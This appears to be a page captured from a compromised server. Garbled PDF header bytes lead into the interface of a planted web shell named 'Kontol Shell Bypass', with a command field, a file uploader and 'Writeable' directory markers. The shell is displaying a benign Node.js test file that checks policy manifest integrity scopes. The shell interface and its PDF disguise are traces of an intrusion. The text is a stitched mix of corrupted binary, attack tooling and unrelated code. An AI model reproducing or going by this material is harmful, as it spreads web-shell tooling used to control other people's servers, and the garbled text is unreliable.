%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/test-policy-scopes-integrity.js
'use strict';
// Flags: --expose-internals

const common = require('../common');

if (!common.hasCrypto) common.skip('missing crypto');
common.requireNoPackageJSONAbove();

const Manifest = require('internal/policy/manifest').Manifest;
const assert = require('assert');

// #region files
{
  const baseURLs = [
    // Localhost is special cased in spec
    'file://localhost/root',
    'file:///root',
    'file:///',
    'file:///root/dir1',
    'file:///root/dir1/',
    'file:///root/dir1/dir2',
    'file:///root/dir1/dir2/',
  ];

  {
    const manifest = new Manifest({
      scopes: {
        'file:///': {
          integrity: true
        }
      }
    });

    for (const href of baseURLs) {
      assert.strictEqual(
        manifest.assertIntegrity(href),
        true
      );
      assert.strictEqual(
        manifest.assertIntegrity(href, null),
        true
      );
      assert.strictEqual(
        manifest.assertIntegrity(href, ''),
        true
      );
    }
  }
  {
    const manifest = new Manifest({
      scopes: {
        'file:': {
          integrity: true
        }
      }
    });

    for (const href of baseURLs) {
      assert.strictEqual(
        manifest.assertIntegrity(href),
        true
      );
      assert.strictEqual(
        manifest.assertIntegrity(href, null),
        true
      );
      assert.strictEqual(
        manifest.assertIntegrity(href, ''),
        true
      );
    }
  }
  {
    const manifest = new Manifest({
      resources: {
        'file:///root/dir1/isolated': {},
        'file:///root/dir1/cascade': {
          cascade: true
        }
      },
      scopes: {
        'file:///root/dir1/': {
          integrity: true,
        },
        'file:///root/dir1/dir2/': {
          cascade: true,
        },
        'file:///root/dir1/censor/': {
        },
      }
    });
    assert.throws(
      () => {
        manifest.assertIntegrity('file:///root/dir1/isolated');
      },
      /ERR_MANIFEST_ASSERT_INTEGRITY/
    );
    assert.strictEqual(
      manifest.assertIntegrity('file:///root/dir1/cascade'),
      true
    );
    assert.strictEqual(
      manifest.assertIntegrity('file:///root/dir1/enoent'),
      true
    );
    assert.strictEqual(
      manifest.assertIntegrity('file:///root/dir1/dir2/enoent'),
      true
    );
    assert.throws(
      () => {
        manifest.assertIntegrity('file:///root/dir1/censor/enoent');
      },
      /ERR_MANIFEST_ASSERT_INTEGRITY/
    );
  }
}
// #endregion
// #region data
{
  const baseURLs = [
    'data:text/javascript,0',
    'data:text/javascript,0/1',
  ];

  {
    const manifest = new Manifest({
      scopes: {
        'data:text/': {
          integrity: true
        }
      }
    });

    for (const href of baseURLs) {
      assert.throws(
        () => {
          manifest.assertIntegrity(href);
        },
        /ERR_MANIFEST_ASSERT_INTEGRITY/
      );
    }
  }
  {
    const manifest = new Manifest({
      scopes: {
        'data:/': {
          integrity: true
        }
      }
    });

    for (const href of baseURLs) {
      assert.throws(
        () => {
          manifest.assertIntegrity(href);
        },
        /ERR_MANIFEST_ASSERT_INTEGRITY/
      );
    }
  }
  {
    const manifest = new Manifest({
      scopes: {
        'data:': {
          integrity: true
        }
      }
    });

    for (const href of baseURLs) {
      assert.strictEqual(manifest.assertIntegrity(href), true);
    }
  }
  {
    const manifest = new Manifest({
      scopes: {
        'data:text/javascript,0/': {
          integrity: true
        },
      }
    });

    for (const href of baseURLs) {
      assert.throws(
        () => {
          manifest.assertIntegrity(href);
        },
        /ERR_MANIFEST_ASSERT_INTEGRITY/
      );
    }
  }
}
// #endregion
// #region blob
{
  {
    const manifest = new Manifest({
      scopes: {
        'https://example.com/': {
          integrity: true
        }
      }
    });

    assert.strictEqual(
      manifest.assertIntegrity('blob:https://example.com/has-origin'),
      true
    );
  }
  {
    const manifest = new Manifest({
      scopes: {
      }
    });

    assert.throws(
      () => {
        manifest.assertIntegrity('blob:https://example.com/has-origin');
      },
      /ERR_MANIFEST_ASSERT_INTEGRITY/
    );
  }
  {
    const manifest = new Manifest({
      scopes: {
        'blob:https://example.com/has-origin': {
          cascade: true
        }
      }
    });

    assert.throws(
      () => {
        manifest.assertIntegrity('blob:https://example.com/has-origin');
      },
      /ERR_MANIFEST_ASSERT_INTEGRITY/
    );
  }
  {
    const manifest = new Manifest({
      resources: {
        'blob:https://example.com/has-origin': {
          cascade: true
        }
      },
      scopes: {
        'https://example.com': {
          integrity: true
        }
      }
    });

    assert.strictEqual(
      manifest.assertIntegrity('blob:https://example.com/has-origin'),
      true
    );
  }
  {
    const manifest = new Manifest({
      scopes: {
        'blob:': {
          integrity: true
        },
        'https://example.com': {
          cascade: true
        }
      }
    });

    assert.throws(
      () => {
        manifest.assertIntegrity('blob:https://example.com/has-origin');
      },
      /ERR_MANIFEST_ASSERT_INTEGRITY/
    );
    assert.strictEqual(
      manifest.assertIntegrity('blob:foo'),
      true
    );
  }
}
// #endregion
// #startonerror
{
  const manifest = new Manifest({
    scopes: {
      'file:///': {
        integrity: true
      }
    },
    onerror: 'throw'
  });
  assert.throws(
    () => {
      manifest.assertIntegrity('http://example.com');
    },
    /ERR_MANIFEST_ASSERT_INTEGRITY/
  );
}
{
  assert.throws(
    () => {
      new Manifest({
        scopes: {
          'file:///': {
            integrity: true
          }
        },
        onerror: 'unknown'
      });
    },
    /ERR_MANIFEST_UNKNOWN_ONERROR/
  );
}
// #endonerror

Kontol Shell Bypass